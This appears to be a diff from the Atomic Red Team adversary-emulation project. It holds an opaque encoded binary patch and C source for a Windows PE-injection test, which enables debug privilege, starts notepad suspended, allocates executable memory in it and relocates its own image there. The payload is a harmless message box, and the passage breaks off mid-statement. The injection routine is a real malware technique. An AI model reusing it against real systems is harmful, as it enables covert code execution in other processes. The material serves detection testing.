zNyHejnE8uECcZI={Lk3l&)97EK#;3yNi8ZZ6F5*4tYvDwq#6VXA-o&l&{Dkhqq6Np zfZ08ey_F_ttI9S+K$Y%^?9E(nZC2S*Br$*^cv~L6xeBO%?q43LPFhP42-B-*;;Z&= zw~aQ4^8%*W<<#)y zcCY&HC19^24qLsS56N&rkD>~|X*0+j3G@k=e*fYv}N zf3WPcAm6S9*jb@qPgO8n73_(Eclapejw%QhR|Uhhg2KeFk46J+JIF;N_b@|;+ypH* zLCa0Buk`n!M$*=#4T*yElaT=U2YxkA||?&yWxAFxSnzqXIwA1nkXCw(G6mkz;(BUZsL~PT2GL5DRB|M zxZH6Or(HAMaEoe%J6`?G27ydB&>G`5$qm~gkJ}#DQO^N>rspV6_`c+Onu6@fmRoU$-+%6f>pKz6kIE0HtfMs1^ z#ch@wt@2B-z_LXv@qJhHHdBZ!kt0mvvMpLEeih<3QHv~>EEhD}7Aq8{hE*O?-zBALc9Z$1W!5Mv%CT546dz>4}Q)>TnEUSWcLj683o*KF_uy z3~nqt!*FF7KD&mGt`#AFEWQUVavB#k#vF%B?=-Z7%4L%EP66<2JVnu0e zWvmJJeoc=T1#sFliP>-yfWzU=1T+BOo5!2@CCzb(e)HLhVqRiVqDf3`F{6c8)?!i$ zzMxi=BJQUSPZK$54*wvZp(!& z#nH51(!}|+{psRR`t&D6IWF19hZIr^QbloUX)3(hAb==(iNICQmA4lKoz8X=J3If>exeKy6frWmIUdj3%0hTa;$B&~7)y9kA3Hb@)V&auVk(pGIB#QAyxww*YGewlcxzq%l1M%XxftZ=J zDhbzU>4*wva`Vrdi`_|klf;pvt;yp1;7`QAhndAH+QsJf*>tXfSY*N| z%(cw5;3LP&AS`R($u2g-@x-**9=XR=h2 zN$kOuRPx*fav*LB9M6o9M$(AxcirzQ4&rbErzaz6`^UM7d>m$�A%DuJYJI>~;Iu z4F?yQ0M5fnvnazkGan^Y`HOS@#jsA>gLemuJ$MXi!gKv|Vd8SwHJFzyH~@%Ac)*Pd zFsFy(VfvhK#|fkeA2k;{v4eI5S6d1(uV8QH2+qM8TYQ04BslT^rC-Y5-h014I`kI) z-LEy7-ZA$ZFsT3F{we(&dpS%?noZF->~hT0Q?n7_@=oGN;8*zjrnkw&vlFY?UFOLQ z{Ly#O`w`E01WpZbG9Q5x$5uT8rvq@hJ_4s7aH2tqKDunT$@C#0sXh zVdBc$#tlw2(GRJMr4oUY>CnPI0aEw~&c6km;z!_&0ZxQNdvXD(egs!n0jJ#~+I$Q+ zIghB_6$0V^5S$O*dhf#l{Rf$19ahM?ZL66o;A!MDl9FM=VJ+(3{168mCW_E^S}*>qYsZ++-*VtYBYYUnI^gi;he(t{Nel~)LWCu)Dt+-I*uttlU`Md zyUPS8rbm^tcD(R(MIsSC%< z?3js^&attGD~=85|90Q^KK$SP`we>U?;obKK*oUgJ{g(4(HKdU`4hxzx zP}fkF^7BM8e*e>)9}LQh^IeQO z^oY*+_W?lD(H`PZ(`>(#0XEx0HM5$3saNJXI>nDMI!i!9jm|s$`jJI-mS_t>Cj*A% zLGqlDLj6`NG%1-fwU)K(r6goGASDl(Py6;&;}Z=Lw~gRglxm0aQl1S>QSD*he?%Sz z*zV^%UX<`U+N9a}cF0khf@(<#PHsE@I2MOf^s#6Hjyw0AV{r{c)L2jgoPXr=n*b|5 zM3qsHPXV1r?Gew6u2gU|m_Cs!rOXMYeul^CxF%luX3D?Y#d{`=fI+1PCA zJFq_%!teY;$$T_i!Me7`;kXZPrH^|Cde4?Q{y6RjjB)39IsZ8Bg#bUw*0nRnogV^o zmNAZd8_-hv)!n%wKsfHHk1_6U=#3ipz907g=Ldg(+wNRMAJeY>%33_k*6Ez97e|}p zY-7q1asH9dS1?Ved1nL=ocm5b`(qk?lzx??^rQ4^s=?<6>(@Ag&kxqGu8+azwg#UE zy+3f^#~F6&B^hx8EKz)phO9dCh7cF9BU6qAbWoxM15$`?qLC=&xVj)l-@b$2?)w%f zBhFl_f_!2!^)Mian36!pAL8V=7PXE0X5cuE#qZJOOq5o-jKAHLbaMn=YoT9I7 zP9dL?Q{UPqrNhhJV|)Dh`F6;cJ*~qHfK3`shbJF~qpxYfQpMFSz^>DGS=aNu3?9}u zzbl;Q49-6g=g+-ZgRRX-*!{FNKbH#F192cyvAufrVm@bVB?)#!5KRG&4tWp`^Jx!@ z40~7&2uIHGM?L-c54xV71OgIue$>-v(IBO#-`6YATpzxVy43nG3^>kcw3%$hqikk5 zTA}7jPY@xtq6rUe#S92bN&wn@g-0!^)-*Y_I|DWb_A$qL%j7XiI($fyT zC|?iMQ)v@AJjbFB$9bVw!lQAX3x5a>>)^QmY>fLLaEi4${y6Tfjd6d=F;h!X2iu{v z(!ppzk*M?IxCev$qsINzV~l(8V~qPGG(qXt2mJ>Ou;~_?h3)&GcL7!U_3-toO$TqG zq@&&VJvvy3(hrmkZBBU;e8m6IQ*yJ;S%G$zdky)Ing`uc8f*le2d`=KQIT5H4hAOI z0**h*#$Vd%HlZa_)O^PuWn-!#8!pa+4s_b^5%{NU_&7kEZ42e+O_WyhlL{Q?_E3KQ zV#p8ou+Fkd`}{P>E4zV3Og%r^=kmvppRdp!B|lKgzJJR|OSQ=mk^}l<&l8PKJ?N}S zLopdR#)*)EaCFe^I=}xhiPEIS8@*7{LV0lf>8qw-;4t@L(&7(qXZ-|hc? zM*jf=Q`lsE21%8YKptuxu?zltW9mF!BuTCG>7etuer+P3%M3otX48FjfkT@-UCQE|2U`kqAoS3WT5HJXP%VsO0+^rIQylKl8qjp>%EGkdahUhI+I$E zXK2Aiq#!7De%w2}2J##QtC_ne=N~Q70I)=93hlDfTy_8|u6dm^K&juzU^7ngWwFD((UG?pAwb`m2 zxT55c>lVkKE{D$p2dqSU!ts|B9e$vtKDay|ffR+4=A;{@R z`RV!?^3%kSpTUC$532u6uS7}$+v8M?@%%#9s(Nv>Gre*YSL5zH4y4SnIMzoWi(!CJ z0vvxFi(^nOH5Lz^(b^e&js^kehLg{!;E&?-gJ(1snDsYGs5(FWX>tdH z&v@?M_uaQXeEa?W_FIu=V2tAP!}lPzvB*cKC`q>8@6o|Z6nm5o{uwnW9duq_>vIZ; zsJm)r%JX^WANBN2Lw3K=k#GY7hDIpFnFWYt;Yz9(gueD18rf3M$msHr>%e zCC?mF$Db~%?*a$xMtg|kJoj);$wW^u9Kb07wzFmT}f4F{zDd1q&cK3)%=cS_JNH5SpJ<6I&6+#dt+sCma5rd08{JLow7$mjCM z;4}R}6`x7tDA{2Aeh;79p%h5fKNi~jZsRjCoqy!>j|QK=2ZBR$WC7~MZG+FwdP*d@ zo_`EJ7d!@^-!%AK|C)__u6_(YuQm9bf#aZl_Tnu2MGr3}&-KsmL=s%;!BtQ_StBF} zkgg7p1VE}CARPh8Xl!5VbwG+8AQ^z9V#2gh&SWVE$QOW^@UTPSILpQjj0}|D?x*Wu zJHQ?#8~T&*dUaV_^V4fw+2>@tT2xfG&s_CT)2(J0Sov0mBdXkc!X(pr;muTF(|S7o zD2Ms~)b)J}7W_LM5s;!BHpi}1+2`zf1)BEx87Q){&$p0r{!v!BKzfvY-V8KlpPk!6 zsAO#o(dEZKni9qK5bF4ImLF7H=cn6no&-M1hW8n-kLff}so#cwgRP<((+At|RAaoN zLC3k_9E%97e;#GS2Vsbm4S%;zuT+wJ=5zB$@%cg>KK}y;%F6##(b)*iReY}Bwm6T) zb12AKZ9jc1x&nmi>K`x7&OdA{^tDzo*rs&Z+g6Dd({)*(B98dO_67McIZBrY1CuRt z{85*$8spAq6Xdw#kGg!q7GB7T1hf=&xhwuXOqVGeuNks279|~R zCP`5Tj~KGCRHN<~P&P6iLpHq79(x_ED;wpIjW?q;t6opfb=goj9E<1B5D>Nd{ZGpV zUY2{LZ19}qQL^C=JN78qXquzjgy+zy`eoxh#!K0R2g}Bs$B>Q8$B>QVhHOj(htYvL zKgvcnR7Tm2HFa`TlCqKW7_!l}j%;N7?e9DxGz{NK$VPFrl8yT8^WQSwlU~w>O_0@B zqf}uNt(1h+0>Z5uR}M;Yf-nQ;#Mncc0fIM{?QmKHk{V|Z`70ph4v_wUWG33ztkP?<^We@oYkYWeO2|#k-QD&ojg{9iqL;Rr3#ZN1U#hBw1 z52-ub(fV}B6a9~~?!XY$`901Yr`uJ&5vT0xtvXaN=W2e85r*!R04LP}Pd~Rw#bnB{ zvf^4ccyK%5Fu`>cUTN0!>kLLX+6jlYx8G!4zY^219&<9#w7oa6>sR` z+D6&lxl)qqBGL91|)f@=g}#pr}QIo{!vehA45+EqF?qlT+>smP}Pqbm)S{^!+L8%FCeRxI*u$x z{mSTKFTGNCUa*HyD{~wmvw1-faGjKzYO)II(?fTk7sJWF6kSOTsn{O!`o1Q8ja!ijxPvOvD z_tW*%=xIIv>c2-%OTaFrr|0czQBhq_j{pZEg7%c)Z>q}F{_1*K0$!8rR&ymrzJ5K; zfa0imuo&3U4s@8Ho=(`J>*-?XX%Gj~;YU6F2D?9{r+g2_`A0on4hyODbVw8Ox9*R6 zT8V#;($nq0QF`j!7Sg1iE`z02dU`3kzUMO3(+;5H4}7aRi^ZIN)YHF!h|<#sKWi%o z5s(6%Fee)N89x1Fl%Br*!FvPk9!F~>QYm%sYf|UT8i~~wIE6Zng!~nd=nr&RC5TVj zyBZKp{;K=|2@+C6?*!Ad%GIoxUTB_oOBw`G$d*pit;n< zmMBFHLqKtVBv>d$AO3Am!<4_et7l|FXNXWS0SjBu0fm)ewkiQYr!+3{4od zw2bMrjS7LdkTNQvMME)&nG9n>hNvm+n4f`u=l;IC=k03!#*;UWvhTce?|1IG-#z!- z``*5l>~&d5h?>0*Lx*V6Y^OAZNGqAS0DoYZ)*ZymzW>wAJOIeyIt{rJFLr2V{(Y=p ziJ9GpH8Y8S{2*r1vn$&%^P8|jG84lg<{)N%1b3+m#7{L>@v04P&8-Ay6h*K79nIC}cqPywuC^hN%P9JpjyNphYCjC#j;lX5T)lzW zLIUDy_qgWj=V3F|=pMw?uaiv>H{Y?a=oEP!;NF97Vqa1;y3aD0&zA zeDy?guD+ji-mPP%W~MAf=&!ZZRn}cFX6k1z(F(~rY#-JgIznzh2Tp-K#LQo=(~>#% z8uoH!gxtV&(smDuki9S2p`K6JkF!^}3OFOyUH-e8b&bDY`Gt3C*8L3rVJ;H;>h%5O zW~?Jdy>O>y)VEOyQjWTV7Lr+t<8L8JIg-aASw|qUx#+)>&Yx%=PFBJ&pR3l^ux_&Td>cAz@ROB1 z3&|1?#7r%)egsL|dvrZQggO=+$z_oAzc;GW4vBYPRB|mO*F>z19Q4uG!US7sM7de*O(AgN+bq9^*yW8|w{%`CARnar!6X$c8=kHJl@fG{~qu# zoMAI=n#3HGhd&7gIo^MRwVR6243chPyzhpd9PiayrI-(+-~Cq-Z(Or321)Z!>X6Ny z%wo;M6I_Irc91qBQG zx$(>^H8k5?Uah%t!o8@@h#M~$ZVbih5I3k%+i~N|h8s&L5YLT20tvU{ z#!?I1xYKaM_shON=|1gjxDkt(jgDHfr0af#%P_+ zdBm2r7WlK;0)KXPY|o#W8#I5OgU!6Zh(G^j_#^WVC^`pmgWg@U9XH-`w~iaw5)>oE zsYcvKJ7c)vyBF1&*n@3>8}!Z)88-wsyQy9I8@dYW@%74}nf zujd#wOXokW%sWrCzzvE&_}4VH^mS~{jl*4<8!w=?cy1iPv?X(!#@rZhfg7J`fg7(w zVk6^5NN!^Xabvv&ZafCP2seUEA)Alp9A84eZ*Id4dgdb40yktm&AG9LmRtyKoJPCg zYV5+ulS0fvabu|kZd`iL_HpB*h8q(x zNNVS;1#Wy5&XL@Z&%oeoN;A>zx98FCTibBsC(s%HAX_DgQsnt{SO}HKp=S`fBAL*p zK3S#ni4sqt6_N>5k9%k)(7O%s5B4m6W)ME@jX_WK?Yu< zqr`XIX;D>28OUotptIADxghF{*s`__TWAG@H?*r25Z|++swjgE@6n6`jm0|0g`^Dj z;wyBtIpg1iy9`^K*@1sf5IWB=@O|d0zH$#25z%#RhDE-Pv zDPoN0-3rONu183U5sAHPCb7t7S_R0mLLGlJ4>#2n`ILK|4$EZtibSv0zlF9-9>(aX zz1-)ZgMUqVn7&T)kg`+Kb`Rp=d$37}fQ)*E!2r&C;^E70)I7{IN|9ymK^*(3;aKB4S@gZg?KpNB?2#M`=<6uC(u6-bTg+fhD34Eq z37a}1#k5>!xl)IGNaNU5)ZEy@6&a%%XSqwjLnojfi68x|xj}COfZ5P#%nf>fD)n}= z*=qSZ&5blPU9J)?apUQJ&5grQaAPm&5I64a(cJhdiP%9g>LSE&bO-EtIlE2*;zkM$ zNAsc6jlbL;;>NBMnj0nP@Y$2NaS1kFWVUlZbofE>C*1-!b{THWfg7d5M07eswVxwn zKO|?Xxc*Y5yd|Y0Tl6KAS~n8SA6XBz{Y&V1Vt_p~e~4C8M;w-(<67Yl#SO`yP79(w z={c^=@TUV;*ruYmPjuGshn_BWZKmpoKi3av{+vaPzo$^_|A;@MyET6f#;{)AC+aZ# z`5Y$(sw4iSx8V=Xar9(45+3-F&pTulaqOdpW6#1K%F*3}cKLn=Jc^WZe7V=@jClBA z!^1Cd1xSd8cMxjlr>n zvlU0@Cy+c~bWjhr7;(Sp&!hFc1OeKx&fXgp_K<)2P`T^FWPIlHfR2asJ}>+ORzEev zIW(Vppa6G6hhht_i*~L1U!mh+KU~CPEAjc)hBcq>1(OasSad>sexz6P`QC-V>Z(IIFoxT++(+u)82UIvA7|*FW$5WdZC_;Q(+r)ypX;{$35I?o5&C@$ zz0A<*ewvH^)eD5a#L(v%`aDDbCPN=j)blpgUMCkv>(AOFIIzzvip|2)FUt{PS41I&4A7JRG5}`lA&^HIqH}x*H*i?82T1Nzk{K#CqiFm=;s*vIfg#Z&^HpH zf1RPzwg4*k%(}9NHrX6W@4FcKW+LZhQ2cq`g07u zo1u3z^v^T&wnXS#484z`_c8RR7KhRNE=bZPa#s|Kde#SI>~{uekePYDOEonAcW^(qzQ4|E zuX04!Z1yU5S|&&fdv+SOsJ`gEh^?eLHCxULeTbn`=Q|AV@fi9G*dbRss_os0(DyO) zbGpB@H+tx~0LPx*O@`i=2)&=7Z!z>OhW<5%-k%8lbqxJ1LqE&Vzs%5w5~24o^i77o z$Hts4>9y3iO{vCmH%x z41F;XdOJg3VdyIiot_MF;^d*MA#Lzbx`br}7 zOBwniLtkX*Ut{Pe6QS>9=nD*efua8cLtjmV{!0vfo}te(^hX%_sYK`=LoYM*GDCmB zqN|+tDhz=}Ijzp;Z9O`lk6@`BX-&5xE)Ul~^onaR63-ssPu-!P+i4}Arz~EK+$QKt;A8zVa#Eqs4JmS!-ZAYB7S&z7g&8qEhZqjzm%onj;J=3OL7&3K- zZpF0jAV@@bB52<7aWV85?nP;RnZ*a9{9D& zjDK7{y+t*k+i*;x=50h|6;-RO`C&-tpl4mB^x#$U z2F7r|qw_`RoP~ru0Uf-2-^WO&I;>Zph0YqD?vp);OX8u+b;rU>FGs%{kCDoikhJ6f z)}B{F(r88^cmqBvGX~or$q?}fCL6Ua*>lR2BoSMfW8ON6utmkJS>2_*9 zPW7OaWz>C;=zSa6_D?|4CeWq#@unI`mJE6@QL11ldy9^R^bLM`CflN4f=ImLwDf97 z=&+urcka6O3_?;iUiE$a#<(xP+iN|4Sk+@Cc}Pw=Exikpeqd3XWV=2B$(Csa#NK0& z&>F z3Syc*C5&qzDLburJtTD4agl~ZubU)R9uj?DMoLaVqVLQ~$p;`AchEly$vLM_KMe^T zR6>?|5)#T?>?rsi>ENQZhko1P6eQNqSK|93ryTxV2T7;n=NlmzcS_v~N!cltg{0jn zH4n*}u^BTOey7v(QGgvX=g8H#D2%VI}sJD{Dsiy=H&I&vPwFv zSN{e&X{QyZA)#<=`SV@UaZ3FUBq*eGnpI z((jbo14*01@I#QCc5EJpgxX}=btfdNkdP;&H|~KX?O-iKvgp|JDM-#4$z*x9mO=TG z#vZ{Ii259?$5E;c5}SEG1qnIGj=1kYvgk;jhvXipS&!|!68+^!u7IT9DRmtrTaKg` zlGDaQ6!-Q(Lg@IX+Wuye7>@bHaE{)?Qijl?m!UIm>Y1FY;McmrC?kQgcN{wUi4N)2 zMUptZ^B^Q!(535A=P^j=u#Ea5ll&(nYsNy-{yrq#j>NkPW5k@!)oHPWdB?%J9y;sBhlqz_ z_2-GUrvxUxOGP@yW~zAv63^+=w?eY&%uNfBtT;Zr50XVk@|Td5jfGV6r>P!C=Ltxx z5B=GqSVJ#7M186){2p|c91DLA$!VvaE3Sc8O-l*uT1bcqHYVH%$(kvpf3=}aNC=C@ z`&W~cn15)`Mxsy@vXCrkQsFfmaH zkLt60t{CdilNEZ(N7aB%(;rF4kDiw@^y))Xd!;xf&wXFM7$a9a8su}?G^{9uwXiZI ze*)3N&u9A?KUc)&fPB|pM^`1BEY~Vswq&lBuT`^^Qq9LN7-V3Mcs*=G#bd>m^s2L^ zMtZqIFcta}K{dqW+W;*nm;KtYa_AL;BDAwOXR6{AQ%tH-Z6@D8eBhSD{_ug(u{|Rr z{=UJzx836J-!nEec<2z*Rll_(-3Loz9jIa}HjIKwP4;)4=dz`_Tt1r#Dp~Ap)Cxha zh;{ZTsn7D(_{E@>J4)RyuFEYZ=AAkvC?j@H2US0lsg=N=It%s*?b-kSq!TwlZQ9Y+TC?D4w9r(yae$E`C2n~d7J5m-0e&45(3MhAIx z9Gh`1eRBNxae9MvCgWGaDGczi;!As^FdNp12aCZ(K19R8tZKTFJDSUfQ=vCp9X*D^ zh2EaM80f>rJMa@}=*Yoht#T|~!jBmNBwO;Q@}-FYJ8U3I)sYZ&5L@c|X<+Q&A%A3e zbPU6k_>)73IUW+1HLIwq$Z6~_QCmwG0C}`Vm8gVe>~hdlh6)NnWrlt%T#%2l5o#o) z^P^G*W6NRg#=c&^GFz#=xJQQM=NEdtpqv5Egc}LwcGH+(EEeh^k9WNA$714iu_)*=f@8(rH!8w zrFQu<;W61YU1bCSv?p>sQ}y&^p8`Lw`E$KJ5{@bevRPAsTTsTXdi_dRC?VG9N_7!` zY-H2~iRh2R-$1B%RfYd1nr0AlhAD>cMF{u&n?c9)pz5o-)4j(I&M$O@s3x;GvTqj9?E}50r|UGQ-7z*-9lW)`WtoH!RK;e1s$- zTs}8Z2`a}BYYUjGHL^|+B7!;fBVc%6o%~%NKXa7auFu4R!Jf|1`E(%0RaAwG2vuu@ z1q5Zp9KTe7Ma9UKc?{aFT(uGi9%%hop{S%1WOMU=S&enAFD^~yOF`6fAq<(cUQmBN zRWA_r%nPZtRQ9C8H}0IXg33`}?D6^gcJ0CSV%<3Ys~`%j)Lkw_BOmS z{$MpVPoCUMRw~58Y`#W=Pc|pFYa$|7AIqh=-K3^Y^HGDbeWk?N+~lPCII&CDmo@ca z63J*){dP?r@x;U{(;~3U*V~Q_6m_N~RONg38fdDE!k@ml2dnaTc_Mp#DkL(CJk&=B zlZmKFCj91?P2g-+1>$Ox%MGz9Zu!oum~gIMq~mAG9`2QiSMi8|Am3|3VvM%1f^A8^ zFd@>cu3a8JiI=5R`Nh|GRioJLx%0L!b2GZ>+@;bxPrhixo{INx*;6qkclGYxedBHz z>o=d7sM{%e%FJ;XOAi`bB$YQ4e2RORF7S5-O$zfj?(ze8Qif)FzCq?qm=l4uFEZ`R zTGY0WIziN&@H4X&OoH>`#a0SSj<(_IzP$sZBVmx;d#n}?&U>R_?Y5$PZCZ9v=a@I= z@^G%_PeacdSEwGP7iML{Nu+n%FI1#G>Yjl%&I}H;gc4ujZ!y{Hbx&*x4fl-%)f#4T zkf_Jw&Y4hInZa`2j&u?16*fHfOjwl|_#p{!Q!p1moDWlfNO<7`+thF18( zf}F9yR^S9FaS{}&Q&@i>ceUl@)~xDPx#dw;1qh6dD=aW1dXPODlyeT#WssT6 z6=`|k=gR|y?1)&6>ou`X>nu|9fhQ|u3nFE;+~SZSax7m3#gIMCifpLrPudIvukbT& zl12Apy2#P^87m#mWy1mROB2H%@T=u8lbg(CY;0{7AY`uV8zN!Im7{!A!NaoOG~QXh z%BGUb-Q5C30op7XDFyJSNU$jWurOgNRtcY3h9qZ}W|m#U%Mwt)t`jj>&-Mg}!j zb76&z-R8R*I^^O0UnHQK6W$}}XEnGKciJepF?RZwm9UpAdpbd3pF(Y8dNXOYs-S9z-!U)UQrJ3VCYmnXm zp!V2pC25knnQN8Z&|&rueczd7F<-(g^2SK1G&5T^v#bc3I-$|waI9ovq$&k=(4IFs zEjJbEC&5+uSb+{RdIBhpPM78|2iR1j(L$Y4UaVW9qlD@mM(gFKNd35UN3%mW(Zqvg zN+U`ctbavHflZr6RiUf$83b(H#i4CedXuPXv6?Z-lIRLnqyc8q3OGLNZ6#)-|i5VoSJ3soJR=h14lA)&e&p05KoZMSPNszpDE zVmq!}j&z-~wlm{^T^DcQl!ukj*#oJIN>cq#@tgtC5?u%lPZWp^%*T~ z*yY1a3He&&quoj*5F1I1UqGYC%>uzqWeTBS%!?;LjJjU?N)zhWd<8KyWR1~m89OA{ zYV{}c!4xI$rZ$^>SdpmN?Jco3$I}P!50(Nm)!Ga)0i4uDUKO>a3v~>d9xh^p6>-}I zY#HSXIQ1N-rgvN@h(=L#rRr)_w_mI=u+$1^6HZ6aZ5HC9j~lKlWM0BOD7>O>>1kV? zv1%PCo=uQCPQn<`kbC|rd1;p6L>b<=!Me8^Eq_`|@AznrpQj@2pl7J{OpDEK@vsSt P{L&Tbj-(!8CdU0g#9- +#include + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; //The bottom 12bits are used to describe the offset bytes relative to the image base + USHORT Type : 4; // 4 bits for relocation type +} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; + +BOOL EnableWindowsPrivilege(const wchar_t* Privilege) { + HANDLE token; + TOKEN_PRIVILEGES priv; + BOOL ret = FALSE; + wprintf(L" [+] Enable %ls adequate privilege\n", Privilege); + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, Privilege, &priv.Privileges[0].Luid) != FALSE && + AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE) { + ret = TRUE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { // In case privilege is not part of token (e.g. run as non-admin) + ret = FALSE; + } + + CloseHandle(token); + } + + if (ret == TRUE) + wprintf(L" [+] Success\n"); + else + wprintf(L" [-] Failure\n"); + + return ret; +} + + +// Define function pointers for dynamically loaded functions +typedef HANDLE(WINAPI *PFN_GETMODULEHANDLEA)(LPCSTR); +typedef DWORD(WINAPI *PFN_GETLASTERROR)(); +typedef VOID(WINAPI *PFN_SLEEP)(DWORD); +typedef HANDLE(WINAPI *PFN_CREATEREMOTETHREAD)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef BOOL(WINAPI *PFN_GETNATIVESYSTEMINFO)(LPSYSTEM_INFO); +typedef LPVOID(WINAPI *PFN_VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef LPVOID(WINAPI *PFN_VIRTUALALLOCEX)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); +typedef BOOL(WINAPI *PFN_WRITEPROCESSMEMORY)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); +typedef BOOL(WINAPI *PFN_CREATEPROCESSA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); +typedef HANDLE(WINAPI *PFN_OPENPROCESS)(DWORD, BOOL, DWORD); +typedef int(WINAPI *PFN_MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT); + +BOOL IsSystem64Bit() { + HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); + if (!hKernel32) return FALSE; + + PFN_GETNATIVESYSTEMINFO pGetNativeSystemInfo = (PFN_GETNATIVESYSTEMINFO)GetProcAddress(hKernel32, "GetNativeSystemInfo"); + if (!pGetNativeSystemInfo) { + FreeLibrary(hKernel32); + return FALSE; + } + + BOOL bIsWow64 = FALSE; + SYSTEM_INFO si = {0}; + pGetNativeSystemInfo(&si); + if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { + bIsWow64 = TRUE; + } + + FreeLibrary(hKernel32); + return bIsWow64; +} + + +DWORD InjectionEntryPoint() { + HMODULE hUser32 = LoadLibraryA("user32.dll"); + if (!hUser32) return 0; + + PFN_MESSAGEBOXA pMessageBoxA = (PFN_MESSAGEBOXA)GetProcAddress(hUser32, "MessageBoxA"); + if (pMessageBoxA) { + pMessageBoxA(NULL, "Atomic Red Team", "Warning", NULL); + } + FreeLibrary(hUser32); + return 0; +} + + +int main() +{ + HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); + if (!hKernel32) { + printf("Failed to load kernel32.dll.\n"); + return -1; + } + + PFN_CREATEPROCESSA pCreateProcessA = (PFN_CREATEPROCESSA)GetProcAddress(hKernel32, "CreateProcessA"); + PFN_GETLASTERROR pGetLastError = (PFN_GETLASTERROR)GetProcAddress(hKernel32, "GetLastError"); + PFN_SLEEP pSleep = (PFN_SLEEP)GetProcAddress(hKernel32, "Sleep"); + PFN_GETMODULEHANDLEA pGetModuleHandleA = (PFN_GETMODULEHANDLEA)GetProcAddress(hKernel32, "GetModuleHandleA"); + PFN_VIRTUALALLOC pVirtualAlloc = (PFN_VIRTUALALLOC)GetProcAddress(hKernel32, "VirtualAlloc"); + PFN_VIRTUALALLOCEX pVirtualAllocEx = (PFN_VIRTUALALLOCEX)GetProcAddress(hKernel32, "VirtualAllocEx"); + PFN_OPENPROCESS pOpenProcess = (PFN_OPENPROCESS)GetProcAddress(hKernel32, "OpenProcess"); + PFN_WRITEPROCESSMEMORY pWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)GetProcAddress(hKernel32, "WriteProcessMemory"); + PFN_CREATEREMOTETHREAD pCreateRemoteThread = (PFN_CREATEREMOTETHREAD)GetProcAddress(hKernel32, "CreateRemoteThread"); + + if (!EnableWindowsPrivilege(TEXT("SeDebugPrivilege"))) { + printf("Failed to enable SeDebugPrivilege. You might not have sufficient rights.\n"); + return -1; + } + + if (!pCreateProcessA || !pGetLastError || !pSleep || !pGetModuleHandleA || !pVirtualAlloc || !pVirtualAllocEx || !pOpenProcess || !pWriteProcessMemory || !pCreateRemoteThread) { + printf("Failed to get one or more function addresses.\n"); + FreeLibrary(hKernel32); + return -1; + } + + // Use relevant notepad based on sys arch. + char notepadPath[256]; + if (IsSystem64Bit()) { + strcpy_s(notepadPath, sizeof(notepadPath), "C:\\Windows\\System32\\notepad.exe"); + } else { + strcpy_s(notepadPath, sizeof(notepadPath), "C:\\Windows\\SysWOW64\\notepad.exe"); + } + + + // Launch Notepad in suspended state + PROCESS_INFORMATION pi; + STARTUPINFOA si; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + if (!pCreateProcessA(NULL, notepadPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { + DWORD dwError = pGetLastError(); + printf("Failed to launch Notepad. Error: %d\n", dwError); + return -1; + } + + pSleep(2000); + + PVOID imageBase = pGetModuleHandleA(NULL); + if (imageBase != NULL) + { + char path[MAX_PATH]; + if (GetModuleFileNameA((HMODULE)imageBase, path, sizeof(path)) != 0) + { + printf("This program is running from: %s\n", path); + + } + } + + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; + PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew); + + PVOID localImage = pVirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage); + + HANDLE targetProcess = pOpenProcess(MAXIMUM_ALLOWED, FALSE, pi.dwProcessId); + PVOID targetImage = pVirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase; + PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + DWORD totalSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + DWORD totalProcessed = 0; + + // Iterate the reloc table of the local image and modify all absolute addresses to work at the address returned by VirtualAllocEx. + // Loop for all relocation descriptors in all relocation blocks + while (totalProcessed < (DWORD)totalSize) { // Fixed the signed/unsigned mismatch warning + DWORD blockSize = relocationTable->SizeOfBlock; + DWORD entryCount = (blockSize - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY); + PBASE_RELOCATION_ENTRY entries = (PBASE_RELOCATION_ENTRY)(relocationTable + 1); + + for (DWORD i = 0; i < entryCount; i++) { + DWORD offset = entries[i].Offset; + DWORD_PTR relocationTarget = (DWORD_PTR)localImage + relocationTable->VirtualAddress + offset; + *(DWORD_PTR *)relocationTarget += deltaImageBase; + } + + totalProcessed += blockSize; + relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + blockSize); + } + + if 